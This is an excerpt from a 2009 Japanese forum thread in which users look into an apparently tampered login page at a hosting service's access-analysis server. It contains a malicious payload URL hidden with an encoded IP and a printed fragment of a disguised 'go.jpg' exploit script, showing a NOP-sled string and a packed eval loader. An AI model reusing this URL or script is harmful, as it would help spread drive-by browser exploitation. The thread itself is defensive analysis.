xrea.com part146

参照元
【アクセス解析】AccessAnalyzer.com Part5【XREA】
http://pc11.2ch.net/test/read.cgi/hp/1234096306/

562 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 18:16:08 ID:???
確かに違う、これはおかしい

>nslookup ax.xrea.com
Non-authoritative answer:
Name: ax.xrea.com
Address: 219.101.229.189
Name: ax.xrea.com
Address: 219.101.229.188

>wget -qO- http://219.101.229.189/login.php | md5; echo
219.101.229.189
b3782c67d6af86b38b06464f6ac9c10c　★これと

>wget -qO- http://219.101.229.188/login.php | md5; echo
219.101.229.188
55d334703972573546362e8734be34f9　★これが合わない

563 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 18:31:04 ID:???
改ざん？されたらしいほうのところを調査

gifトロイやらなんやら一杯はいってるね。自己解凍cabが偽装されてたりするし
でも大体は最新にアップデートしてればおｋかな

でも、一番の問題は、これかな
http:／／１８５６３１７７９９：８８８／ｄｉｒ２／ｇｏ．ｊｐｇ

一見拡張子からjpgファイルっぽいけど、
> more go.jpg
var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e
以下長いので略

まぁ、スクリプトが偽装してある、これがまだ回避策のみでパッチがででてない虚弱性
972890
http://www.microsoft.com/japan/technet/security/advisory/972890.mspx
なのかな